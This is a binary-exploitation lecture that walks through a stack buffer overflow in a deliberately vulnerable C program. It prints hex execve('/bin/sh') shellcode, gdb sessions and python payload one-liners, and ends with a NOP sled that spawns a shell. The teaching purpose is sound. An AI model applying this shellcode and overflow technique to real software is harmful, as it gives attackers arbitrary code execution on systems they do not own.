Lec. 11: Using Shell Code in Exploit
Table of Contents
1 Review Stack Smashing
In the last lesson we achieved some shell code that (1) had no fixed references and (2) had no null bytes. Now, it's time to use that shell code in an exploit. We will be exploiting the following program, which we've exploited before.
#include <stdio.h> #include <string.h> #include <stdlib.h> void bad(){ printf("You've been naughty!\n"); } void good(){ printf("Go Navy!\n"); } void vuln(int n, char * str){ int i = 0; char buf[32]; strcpy(buf,str); while( i < n ){ printf("%d %s\n",i++, buf); } } int main(int argc, char *argv[]){ vuln(atoi(argv[1]), argv[2]); return 0; }
Recall, if we send too much input on the command line, we can cause this program to execute the good() or bad function at will. In particular, looking at the assembly of vuln(),
(gdb) ds vuln Dump of assembler code for function vuln: 0x080484d5 <+0>: push ebp 0x080484d6 <+1>: mov ebp,esp 0x080484d8 <+3>: sub esp,0x48 0x080484db <+6>: mov DWORD PTR [ebp-0xc],0x0 0x080484e2 <+13>: mov eax,DWORD PTR [ebp+0xc] 0x080484e5 <+16>: mov DWORD PTR [esp+0x4],eax 0x080484e9 <+20>: lea eax,[ebp-0x2c] 0x080484ec <+23>: mov DWORD PTR [esp],eax 0x080484ef <+26>: call 0x8048360 <strcpy@plt> 0x080484f4 <+31>: jmp 0x8048516 <vuln+65> 0x080484f6 <+33>: mov eax,DWORD PTR [ebp-0xc] 0x080484f9 <+36>: lea edx,[eax+0x1] 0x080484fc <+39>: mov DWORD PTR [ebp-0xc],edx 0x080484ff <+42>: lea edx,[ebp-0x2c] 0x08048502 <+45>: mov DWORD PTR [esp+0x8],edx 0x08048506 <+49>: mov DWORD PTR [esp+0x4],eax 0x0804850a <+53>: mov DWORD PTR [esp],0x804860e 0x08048511 <+60>: call 0x8048350 <printf@plt> 0x08048516 <+65>: mov eax,DWORD PTR [ebp-0xc] 0x08048519 <+68>: cmp eax,DWORD PTR [ebp+0x8] 0x0804851c <+71>: jl 0x80484f6 <vuln+33> 0x0804851e <+73>: leave 0x0804851f <+74>: ret End of assembler dump.
we see that the buffer buf
starts at ebp-0x2c
so if we write
0x2c+4
or 0x30
A's, we'll reach the return address. Then we can write the
address of good() or bad() (or both) to get it execute those programs:
(gdb) ds good Dump of assembler code for function good: 0x080484c1 <+0>: push ebp 0x080484c2 <+1>: mov ebp,esp 0x080484c4 <+3>: sub esp,0x18 0x080484c7 <+6>: mov DWORD PTR [esp],0x8048605 0x080484ce <+13>: call 0x8048370 <puts@plt> 0x080484d3 <+18>: leave 0x080484d4 <+19>: ret End of assembler dump. (gdb) ds bad Dump of assembler code for function bad: 0x080484ad <+0>: push ebp 0x080484ae <+1>: mov ebp,esp 0x080484b0 <+3>: sub esp,0x18 0x080484b3 <+6>: mov DWORD PTR [esp],0x80485f0 0x080484ba <+13>: call 0x8048370 <puts@plt> 0x080484bf <+18>: leave 0x080484c0 <+19>: ret End of assembler dump. (gdb) r 5 `python -c "print 'A'*0x30+'\xc1\x84\x04\x08'+'\xad\x84\x04\x08'"` Starting program: /home/user/git/si485-binary-exploits/lec/10/demo/vulnerable 5 `python -c "print 'A'*0x30+'\xc1\x84\x04\x08'+'\xad\x84\x04\x08'"` Go Navy! You've been naughty! Program received signal SIGSEGV, Segmentation fault. 0xbffff800 in ?? ()
2 Failed Attempt 1
To make use of this exploit and have it execute our shell code, we need to overwrite the return address such that it jumps into our shell code. We have a couple of ways to do this, and we will now enumerate some that do not work until we get to one that does.
In this attempt, we will send our shell code along with the exploit
such that we will jump to the start of the buf
in the code. It will
look something like this:
.-------------------------. | | v | ./vulnerable 5 <shell-code><padding><address-of-buf>
Once the exploit is complete, the overwritten return address will be the address of the buffer, and thus we execute our shell code. To start, we need to know how long our shell code is and we need to know the address of the buffer.
To get the length of our shell code, we can use printf
and wc
user@si485H-base:demo$ ./hexify.sh ./execve_nonull \xeb\x17\x5e\x31\xc0\x50\x56\x31\xd2\x89\xe1\x89\xf3\xb0\x0b\xcd\x80\x31\xdb\x31\xc0\xb0\x01\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68 user@si485H-base:demo$ printf "`./hexify.sh ./execve_nonull`" | wc -c 37
To make things easier, I'm going to save the bytes of the shell code
to a file called shell
.
user@si485H-base:demo$ printf "`./hexify.sh ./execve_nonull`" > shell user@si485H-base:demo$ wc -c shell 37 shell
Next, I'm going to start up gdb to determine the address of buf
using our expected exploit length. I'll just start with 0xdeadbeef as
the address for a filler.
(gdb) r 5 `python -c "sh=open('shell').read(); print sh+'A'*(0x30-len(sh))+'\xef\xbe\xad\xde'"` Starting program: /home/user/git/si485-binary-exploits/lec/10/demo/vulnerable 5 `python -c "sh=open('shell').read(); print sh+'A'*(0x30-len(sh))+'\xef\xbe\xad\xde'"` Breakpoint 1, 0x080484db in vuln () (gdb) ds Dump of assembler code for function vuln: 0x080484d5 <+0>: push ebp 0x080484d6 <+1>: mov ebp,esp 0x080484d8 <+3>: sub esp,0x48 => 0x080484db <+6>: mov DWORD PTR [ebp-0xc],0x0 0x080484e2 <+13>: mov eax,DWORD PTR [ebp+0xc] 0x080484e5 <+16>: mov DWORD PTR [esp+0x4],eax 0x080484e9 <+20>: lea eax,[ebp-0x2c] 0x080484ec <+23>: mov DWORD PTR [esp],eax 0x080484ef <+26>: call 0x8048360 <strcpy@plt> 0x080484f4 <+31>: jmp 0x8048516 <vuln+65> 0x080484f6 <+33>: mov eax,DWORD PTR [ebp-0xc] 0x080484f9 <+36>: lea edx,[eax+0x1] 0x080484fc <+39>: mov DWORD PTR [ebp-0xc],edx 0x080484ff <+42>: lea edx,[ebp-0x2c] 0x08048502 <+45>: mov DWORD PTR [esp+0x8],edx 0x08048506 <+49>: mov DWORD PTR [esp+0x4],eax 0x0804850a <+53>: mov DWORD PTR [esp],0x804860e 0x08048511 <+60>: call 0x8048350 <printf@plt> 0x08048516 <+65>: mov eax,DWORD PTR [ebp-0xc] 0x08048519 <+68>: cmp eax,DWORD PTR [ebp+0x8] 0x0804851c <+71>: jl 0x80484f6 <vuln+33> 0x0804851e <+73>: leave 0x0804851f <+74>: ret End of assembler dump. (gdb) p $ebp-0xc $1 = (void *) 0xbffff5fc
So the address we need to overwrite is 0xbffff5fc instead of 0xdeadbeef. Let's give that a try:
gdb) r 5 `python -c "sh=open('shell').read(); print sh+'A'*(0x30-len(sh))+'\xfc\xf5\xff\xbf'"` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/user/git/si485-binary-exploits/lec/10/demo/vulnerable 5 `python -c "sh=open('shell').read(); print sh+'A'*(0x30-len(sh))+'\xfc\xf5\xff\xbf'"` Breakpoint 1, 0x080484db in vuln () (gdb) c Continuing. [Inferior 1 (process 6932) exited normally]
And, we FAIL! What happened?
Let's do that again, and inspect the stack a bit more.
gdb) r 5 `python -c "sh=open('shell').read(); print sh+'A'*(0x30-len(sh))+'\x1c\xf6\xff\xbf'"` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/user/git/si485-binary-exploits/lec/10/demo/vulnerable 5 `python -c "sh=open('shell').read(); print sh+'A'*(0x30-len(sh))+'\x1c\xf6\xff\xbf'"` Breakpoint 1, 0x080484db in vuln () (gdb) ni 6 0x080484f4 in vuln () (gdb) ds Dump of assembler code for function vuln: 0x080484d5 <+0>: push ebp 0x080484d6 <+1>: mov ebp,esp 0x080484d8 <+3>: sub esp,0x48 0x080484db <+6>: mov DWORD PTR [ebp-0xc],0x0 0x080484e2 <+13>: mov eax,DWORD PTR [ebp+0xc] 0x080484e5 <+16>: mov DWORD PTR [esp+0x4],eax 0x080484e9 <+20>: lea eax,[ebp-0x2c] 0x080484ec <+23>: mov DWORD PTR [esp],eax 0x080484ef <+26>: call 0x8048360 <strcpy@plt> => 0x080484f4 <+31>: jmp 0x8048516 <vuln+65> 0x080484f6 <+33>: mov eax,DWORD PTR [ebp-0xc] 0x080484f9 <+36>: lea edx,[eax+0x1] 0x080484fc <+39>: mov DWORD PTR [ebp-0xc],edx 0x080484ff <+42>: lea edx,[ebp-0x2c] 0x08048502 <+45>: mov DWORD PTR [esp+0x8],edx 0x08048506 <+49>: mov DWORD PTR [esp+0x4],eax 0x0804850a <+53>: mov DWORD PTR [esp],0x804860e 0x08048511 <+60>: call 0x8048350 <printf@plt> 0x08048516 <+65>: mov eax,DWORD PTR [ebp-0xc] 0x08048519 <+68>: cmp eax,DWORD PTR [ebp+0x8] 0x0804851c <+71>: jl 0x80484f6 <vuln+33> 0x0804851e <+73>: leave 0x0804851f <+74>: ret End of assembler dump. (gdb)
At this point, we are right after the call, so we can take a look
around and we should see our shell code at the address ebp-0x2c
and
the return address.
(gdb) x/x $ebp+0x4 0xbffff62c: 0xbffff5fc (gdb) x/16i 0xbffff5fc 0xbffff5fc: jmp 0xbffff615 0xbffff5fe: pop esi 0xbffff5ff: xor eax,eax 0xbffff601: push eax 0xbffff602: push esi 0xbffff603: xor edx,edx 0xbffff605: mov ecx,esp 0xbffff607: mov ebx,esi 0xbffff609: mov al,0xb 0xbffff60b: int 0x80 0xbffff60d: xor ebx,ebx 0xbffff60f: xor eax,eax 0xbffff611: mov al,0x1 0xbffff613: int 0x80 0xbffff615: call 0xbffff5fe 0xbffff61a: das (gdb) p $ebp-0x2c $2 = (void *) 0xbffff5fc
Everything loks good so far. There is the shell code and in the right place. Looking closer, we should expect at 0xbfffff61a to be the string "/bin/sh" as this is jmp-callback. Let's take a look:
(gdb) x/s 0xbffff61a 0xbffff61a: "/bin/sh", 'A' <repeats 11 times>, "\374\365\377\277"
Woops! We see our "/bin/sh" string but we also see a sh*ton of A's following. That is to be expected given the way we set up our exploit:
.-------------------------. | | v | ./vulnerable 5 <shell-code><padding><address-of-buf>
The padding occurs after our shell code, and now we are toast. We can't NULL terminate our shell-code because that means we won't pad out to the return address. We need to do something different.
3 Failed Attempt 2
This time, we'll change strategies a bit. Instead of jumping backwards, let's jump forward. Here's what I propose:
.-----------. | | | v ./vulnerable 5 <--------padding-----><address-of-buf><shell code>
Again, we need to use gdb to do some address calculations to find out
where the start of our shell code is. I'll format the exploit of the
right length and use 0xdeadbeef as the return address filler to
calculate the start of the shell code which should be at ebp+0x8
,
four bytes further than the return address.
(gdb) p $ebp-0x2cQuit (gdb) r 5 `python -c "sh=open('shell').read(); print 'A'*(0x30)+'\xfc\xf5\xff\xbf'+sh"` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/user/git/si485-binary-exploits/lec/10/demo/vulnerable 5 `python -c "sh=open('shell').read(); print 'A'*(0x30)+'\xfc\xf5\xff\xbf'+sh"` Breakpoint 1, 0x080484db in vuln () (gdb) x/x $ebp+8 0xbffff600: 0x05
Again, so the next address following the return address is 0xbfffff600. Um … that is not going to work because that address has a NULL byte in it!
4 SUCCESS!
Ok, so we need to jump 8 bytes further from the return address to skip of that null byte address. This time our shell code exploit looks like this:
.------------------------. | | | v ./vulnerable 5 <--------padding-----><address-of-shelcode><padding><shell code>
Again, I'll do an address calculation to see where we are. We know what that addres
(gdb) r 5 `python -c "sh=open('shell').read(); print 'A'*(0x30)+'\xef\xbe\xad\xde'+'A'*4+sh+'\x00'"` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/user/git/si485-binary-exploits/lec/10/demo/vulnerable 5 `python -c "sh=open('shell').read(); print 'A'*(0x30)+'\xef\xbe\xad\xde'+'A'*4+sh+'\x00'"` Breakpoint 1, 0x080484db in vuln () (gdb) ni 6 0x080484f4 in vuln () (gdb) x/x $ebp+0xc 0xbffff604: 0x315e17eb (gdb) x/3wx $ebp 0xbffff5f8: 0x41414141 0xdeadbeef 0x41414141
We are looking to jump to the address 0xbffff604.
(gdb) r 5 `python -c "sh=open('shell').read(); print 'A'*(0x30)+'\x04\xf6\xff\xbf'+'A'*4+sh+'\x00'"` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/user/git/si485-binary-exploits/lec/10/demo/vulnerable 5 `python -c "sh=open('shell').read(); print 'A'*(0x30)+'\x04\xf6\xff\xbf'+'A'*4+sh+'\x00'"` Breakpoint 1, 0x080484db in vuln () (gdb) c Continuing. process 7017 is executing new program: /bin/dash $
Boom!
5 Outside of GDB and NOP sledding
The last step in this process is to get the exploit to work outside of gdb. If we just drop our exploit into the command line, it doesn't work:
user@si485H-base:demo$ ./vulnerable 5 `python -c "sh=open('shell').read(); print 'A'*(0x30)+'\x04\xf6\xff\xbf'+'A'*4+sh+'\x00'"` Segmentation fault (core dumped)
The reason problem is that gdb changes the stack layout, so all the addresses within gdb are lower than they would be outside gdb as they are more values on the stack. Visually we can see something like this for how our exploit works:
with gdb without gdb .------------. .------------. | | | | | gdb junk | : : | | : : : : | | : : | shell code | | | | padding | | | | ret addr |--. | | : : | | shell code | <-. <-' | padding | | | ret addr |---'
Without the gdb code, everything get's shifted up the stack, but the value we are overwriting the return address to is now point to the same old place where the shell code used to be. It is now somewhere else.
The primary way to correct this is to add nops to shift the stack space around. A nop (read no-operation) is a special instruction that does nothing. The byte code for nop is 0x90. With nops Well shift the address space like so:
without nops with nops .------------. .------------. | | | | : : : : : : : : | | | | | shell code | | shell code | | padding | | nop | | ret addr |--. | nop | : : | | nop | <-' | nop |<-. | padding | | | ret addr |--'
The sequenences of nops form a "nop sled." If control jumps anywhere within the nop sled, we'll do a bunch of no operations until we reach the shell code. Our exploit will look like this:
.-----------------------. | | | v ./vulnerable 5 <--------padding-----><address-of-nopsled><padding><nop-sled><shell code>
How many nop's do we add? It doesn't matter, but we can try and see.
user@si485H-base:demo$ ./vulnerable 5 `python -c "sh=open('shell').read(); print 'A'*(0x30)+'\x04\xf6\xff\xbf'+'A'*4 + '\x90'*0x10 + sh+'\x00'"` Segmentation fault (core dumped) user@si485H-base:demo$ ./vulnerable 5 `python -c "sh=open('shell').read(); print 'A'*(0x30)+'\x04\xf6\xff\xbf'+'A'*4 + '\x90'*0x20 + sh+'\x00'"` Illegal instruction (core dumped) user@si485H-base:demo$ ./vulnerable 5 `python -c "sh=open('shell').read(); print 'A'*(0x30)+'\x04\xf6\xff\xbf'+'A'*4 + '\x90'*0x30 + sh+'\x00'"` Illegal instruction (core dumped) user@si485H-base:demo$ ./vulnerable 5 `python -c "sh=open('shell').read(); print 'A'*(0x30)+'\x04\xf6\xff\xbf'+'A'*4 + '\x90'*0x40 + sh+'\x00'"` Illegal instruction (core dumped) user@si485H-base:demo$ ./vulnerable 5 `python -c "sh=open('shell').read(); print 'A'*(0x30)+'\x04\xf6\xff\xbf'+'A'*4 + '\x90'*0x50 + sh+'\x00'"` $
After 0x50 nop's our return address hits the sled, and BOOM, we got a shell.